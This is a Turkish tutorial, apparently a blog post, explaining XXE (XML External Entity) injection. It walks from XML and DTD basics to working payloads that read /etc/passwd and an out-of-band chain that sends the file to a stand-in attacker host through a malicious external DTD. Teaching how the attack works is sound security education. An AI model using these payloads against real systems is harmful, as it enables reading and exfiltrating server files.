XXE Nedir ?

Bazen uygulamalar farklı kaynaklara veri taşımak için xml kullanırlar. XML veri tabanlarının aktarılmasında, finansal verilerin toplanmasında, dosya sistemlerinin düzenlenmesinde ve daha bir çok alanda kullanılır. Şimdi hali hazırda var olan uygulamamızın bir xml veri aldığını farz edelim. Bu aldığımız xml veriyi parse eden bir fonksiyon olsun. Bu fonksiyona gelen xml veri her zaman güvenilir bir kaynaktan mı gelir ? Tabi ki hayır. Bugün bu konuyu anlatmaya çalışacağım.

XML Hakkında

Xml farklı programlardan ve programlama dillerinden bağımsızdır. Saklanan veya taşınan veriler programın gidişatını bozmadan hemen değiştirilebilir. Bu özellikleri ile çeşitli sistemler arasında ki veri paylaşımını basitleştirir.

Syntax Yapısı

<?xml version="1.0" encoding="UTF-8"?>

Yukarıda gördüğünüz bu xml başlangıcına biz xml prolog diyoruz. Bunu kullanmak zorunlu değildir fakat çoğu xml dosyası prolog ile başlar ve kullanılması daha iyi olur diyebiliriz.

İçerisinde kullanıcı listesini tutan bir xml örneği verelim.

<?xml version="1.0" encoding="UTF-8"?>
 <User>
   <username>kullanıcı1</username>
   <password>zayıfparola123</password>
 </User>
 <User>
   <username>kullanıcı2</username>
   <password>zayıfparola123</password>
 </User>

DTD Nedir ?

DTD özelleği xml dosyamızda bir doctype tanımlamamıza yarar. Fakat bu ne demektir asıl sorun bu.

  • !DOCTYPE note = Note adında bir root element tanımlamamızı sağlar
  • !ELEMENT note = Note adındaki root elementin içerisine alt elementler tanımlamamıza olanak tanır
  • !ENTITY = Bir entity tanımlamamıza olanak tanır.
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>kime</to>
    <from>kimden</from>
    <heading>baslik</heading>
    <body>icerik</body>
</note>

XXE Nasıl Gerçekleşir ?

XXE’de anlamamız gereken husus atak ettiğimiz noktanın xmlin parse edildiği fonksiyon olmasıdır. Bu halihazırda var olan yazılımda verinin xml gittiği aşamayı farkedip ona dtd özelliği ile bir entity yazmamızla başlayan bir serüvendir. Müdahale ettiğimiz bu xml verisi bizim yazmış olduğumuz kötü amaçlı bir entity tanımlamasının okunmasıyla sonuçlanacaktır.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  <product>
     <productId>&xxe;</productId>
     <productName>UrunAdi</productName>
  </product>

Yukarıda aslında sıradan bir xml içerikte olmaması gereken bir şey var. O da bizim tanımlamış olduğumuz entity. Bu xmli parse edecek olan fonksiyon benim entityimi de okuyacak ve /etc/passwd dosyasının içeriğini bana getirecektir.

Bu özellik ile aynı zamanda http isteklerde de bulunabiliriz.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://evil.attacker.com"> ]>

Bazen sıradan enitiy yapısını bu şekilde kullanamayız. Bunun yerine entityleri parametre olarak kullanabiliriz.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://evil.attacker.com"> %xxe; ]>

Eğer ki bize dönen response içerisinde istediğimizi alamıyorsak, bu durum out of band xxe zafiyetine dönüşmeye başlar. Hemen örneklendirelim.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Yukarıdaki içeriğin benim malicious.dtd adlı dosyamda barındığını düşünelim.Gönderdiğimiz payload ise bu olsun:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

Burda önce zafiyetli uygulamanın xml parserı attackerın gönderdiği payloadı okuyacak ve zararlı urleye gidecektir. Ardından attackerın sunucusundaki entityleride parse edecektir. Öncelikle /etc/passwd dosyasının içeriği file parametresine yerleştirilecektir. Bu işlem exfiltrate ismini verdiğimiz entity içerisinde olacak bu entity ise eval isimli entity içerisinde olacaktır. Eval ve exfiltare entitylerinin parse edilmesiyle birlikte /etc/passwd dosyasının içeriği http://web-attacker.com/?x=</etc/passwdnin içeriği> şeklinde olacaktır.

Referanslar: